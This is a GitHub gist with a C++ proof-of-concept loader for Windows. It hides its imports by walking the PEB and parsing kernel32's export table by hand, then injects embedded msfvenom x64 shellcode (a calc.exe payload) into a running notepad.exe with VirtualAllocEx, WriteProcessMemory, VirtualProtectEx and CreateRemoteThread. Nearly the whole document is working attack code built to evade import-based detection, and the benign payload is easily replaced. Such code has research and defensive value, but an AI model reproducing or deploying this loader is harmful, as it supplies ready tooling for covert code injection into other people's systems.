-
-
Save christophetd/37141ba273b447ff885c323c0a7aff93 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <windows.h> | |
#include "Processthreadsapi.h" | |
#include "Libloaderapi.h" | |
#include <winnt.h> | |
#include <winternl.h> | |
#include <Lmcons.h> | |
#include "Processthreadsapi.h" | |
#include "Libloaderapi.h" | |
#include <tlhelp32.h> | |
using namespace std; | |
/* Globals */ | |
DWORD ignored; | |
// msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f c -a x64 | |
unsigned char shellcode[] = | |
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" | |
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" | |
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" | |
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" | |
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" | |
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" | |
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" | |
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" | |
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" | |
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" | |
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" | |
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" | |
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" | |
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" | |
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" | |
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" | |
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" | |
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" | |
"\x63\x2e\x65\x78\x65\x00"; | |
#define ADDR unsigned __int64 | |
// Utility function to convert an UNICODE_STRING to a char* | |
HRESULT UnicodeToAnsi(LPCOLESTR pszW, LPSTR* ppszA) { | |
ULONG cbAnsi, cCharacters; | |
DWORD dwError; | |
// If input is null then just return the same. | |
if (pszW == NULL) | |
{ | |
*ppszA = NULL; | |
return NOERROR; | |
} | |
cCharacters = wcslen(pszW) + 1; | |
cbAnsi = cCharacters * 2; | |
*ppszA = (LPSTR)CoTaskMemAlloc(cbAnsi); | |
if (NULL == *ppszA) | |
return E_OUTOFMEMORY; | |
if (0 == WideCharToMultiByte(CP_ACP, 0, pszW, cCharacters, *ppszA, cbAnsi, NULL, NULL)) | |
{ | |
dwError = GetLastError(); | |
CoTaskMemFree(*ppszA); | |
*ppszA = NULL; | |
return HRESULT_FROM_WIN32(dwError); | |
} | |
return NOERROR; | |
} | |
namespace dynamic { | |
using GetModuleHandlePrototype = HMODULE(WINAPI*)(LPCSTR); | |
GetModuleHandlePrototype GetModuleHandle; | |
using GetProcAddressPrototype = FARPROC(WINAPI*)(HMODULE, LPCSTR); | |
GetProcAddressPrototype GetProcAddress; | |
using CreateToolhelp32SnapshotPrototype = HANDLE(WINAPI*)(DWORD, DWORD); | |
CreateToolhelp32SnapshotPrototype CreateToolhelp32Snapshot; | |
using Process32FirstPrototype = BOOL(WINAPI*)(HANDLE, LPPROCESSENTRY32); | |
Process32FirstPrototype Process32First; | |
using Process32NextPrototype = Process32FirstPrototype; | |
Process32NextPrototype Process32Next; | |
using CloseHandlePrototype = BOOL(WINAPI*)(HANDLE); | |
CloseHandlePrototype CloseHandle; | |
using OpenProcessPrototype = HANDLE(WINAPI*)(DWORD, BOOL, DWORD); | |
OpenProcessPrototype OpenProcess; | |
using VirtualAllocExPrototype = LPVOID(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); | |
VirtualAllocExPrototype VirtualAllocEx; | |
using WriteProcessMemoryPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); | |
WriteProcessMemoryPrototype WriteProcessMemory; | |
using VirtualProtectExPrototype = BOOL(WINAPI*)(HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); | |
VirtualProtectExPrototype VirtualProtectEx; | |
using CreateRemoteThreadPrototype = HANDLE(WINAPI*)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); | |
CreateRemoteThreadPrototype CreateRemoteThread; | |
// Given the base address of a DLL in memory, returns the address of an exported function | |
ADDR find_dll_export(ADDR dll_base, const char* export_name) { | |
// Read the DLL PE header and NT header | |
PIMAGE_DOS_HEADER peHeader = (PIMAGE_DOS_HEADER)dll_base; | |
PIMAGE_NT_HEADERS peNtHeaders = (PIMAGE_NT_HEADERS)(dll_base + peHeader->e_lfanew); | |
// The RVA of the export table if indicated in the PE optional header | |
// Read it, and read the export table by adding the RVA to the DLL base address in memory | |
DWORD exportDescriptorOffset = peNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(dll_base + exportDescriptorOffset); | |
// Browse every export of the DLL. For the i-th export: | |
// - The i-th element of the name table contains the export name | |
// - The i-th element of the ordinal table contains the index with which the functions table must be indexed to get the final function address | |
DWORD* name_table = (DWORD*)(dll_base + exportTable->AddressOfNames); | |
WORD* ordinal_table = (WORD*)(dll_base + exportTable->AddressOfNameOrdinals); | |
DWORD* func_table = (DWORD*)(dll_base + exportTable->AddressOfFunctions); | |
for (int i = 0; i < exportTable->NumberOfNames; ++i) { | |
char* funcName = (char*)(dll_base + name_table[i]); | |
ADDR func_ptr = dll_base + func_table[ordinal_table[i]]; | |
if (!_strcmpi(funcName, export_name)) { | |
return func_ptr; | |
} | |
} | |
return NULL; | |
} | |
// Dynamically finds the base address of a DLL in memory | |
ADDR find_dll_base(const char* dll_name) { | |
// https://stackoverflow.com/questions/37288289/how-to-get-the-process-environment-block-peb-address-using-assembler-x64-os - x64 version | |
// Note: the PEB can also be found using NtQueryInformationProcess, but this technique requires a call to GetProcAddress | |
// and GetModuleHandle which defeats the very purpose of this PoC | |
PTEB teb = reinterpret_cast<PTEB>(__readgsqword(reinterpret_cast<DWORD_PTR>(&static_cast<NT_TIB*>(nullptr)->Self))); | |
PPEB_LDR_DATA loader = teb->ProcessEnvironmentBlock->Ldr; | |
PLIST_ENTRY head = &loader->InMemoryOrderModuleList; | |
PLIST_ENTRY curr = head->Flink; | |
// Iterate through every loaded DLL in the current process | |
do { | |
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); | |
char* dllName; | |
// Convert unicode buffer into char buffer for the time of the comparison, then free it | |
UnicodeToAnsi(dllEntry->FullDllName.Buffer, &dllName); | |
char* result = strstr(dllName, dll_name); | |
CoTaskMemFree(dllName); // Free buffer allocated by UnicodeToAnsi | |
if (result != NULL) { | |
// Found the DLL entry in the PEB, return its base address | |
return (ADDR)dllEntry->DllBase; | |
} | |
curr = curr->Flink; | |
} while (curr != head); | |
return NULL; | |
} | |
void resolve_imports(void) { | |
ADDR kernel32_base = find_dll_base("KERNEL32.DLL"); | |
dynamic::GetProcAddress = (GetProcAddressPrototype) find_dll_export(kernel32_base, "GetProcAddress"); | |
dynamic::GetModuleHandle = (GetModuleHandlePrototype) find_dll_export(kernel32_base, "GetModuleHandleA"); | |
#define _import(_name, _type) ((_type) dynamic::GetProcAddress(dynamic::GetModuleHandle("kernel32.dll"), _name)) | |
dynamic::CreateToolhelp32Snapshot = _import("CreateToolhelp32Snapshot", CreateToolhelp32SnapshotPrototype); | |
dynamic::Process32First = _import("Process32FirstW", Process32FirstPrototype); | |
dynamic::Process32Next = _import("Process32NextW", Process32NextPrototype); | |
dynamic::CloseHandle = _import("CloseHandle", CloseHandlePrototype); | |
dynamic::OpenProcess = _import("OpenProcess", OpenProcessPrototype); | |
dynamic::VirtualAllocEx = _import("VirtualAllocEx", VirtualAllocExPrototype); | |
dynamic::WriteProcessMemory = _import("WriteProcessMemory", WriteProcessMemoryPrototype); | |
dynamic::VirtualProtectEx = _import("VirtualProtectEx", VirtualProtectExPrototype); | |
dynamic::CreateRemoteThread = _import("CreateRemoteThread", CreateRemoteThreadPrototype); | |
} | |
} | |
// Returns the PID of the first process found matching 'process_name', or 0 if not found | |
int find_process(const wchar_t* process_name) { | |
PROCESSENTRY32 entry; | |
entry.dwSize = sizeof(PROCESSENTRY32); | |
HANDLE snapshot = dynamic::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); | |
int returnValue = 0; | |
if (!dynamic::Process32First(snapshot, &entry)) { | |
goto cleanup; | |
} | |
do { | |
if (wcscmp(entry.szExeFile, process_name) == 0) { | |
returnValue = entry.th32ProcessID; | |
goto cleanup; | |
} | |
} while (dynamic::Process32Next(snapshot, &entry)); | |
cleanup: | |
dynamic::CloseHandle(snapshot); | |
return returnValue; | |
} | |
int main(int argc, char* argv[]) | |
{ | |
dynamic::resolve_imports(); | |
// Get a handle on the target process. The target needs to be a 64 bit process | |
HANDLE hTargetProcess = dynamic::OpenProcess(PROCESS_ALL_ACCESS, true, find_process(L"notepad.exe")); | |
// Allocate a RW page in the target process memory | |
LPVOID targetPage = dynamic::VirtualAllocEx(hTargetProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
dynamic::WriteProcessMemory(hTargetProcess, targetPage, shellcode, sizeof(shellcode), NULL); | |
// Change the page as executable only | |
dynamic::VirtualProtectEx(hTargetProcess, targetPage, sizeof(shellcode), PAGE_EXECUTE, &ignored); | |
// Create a thread in the target process pointing to the shellcode | |
dynamic::CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)targetPage, NULL, 0, &ignored); | |
return EXIT_SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment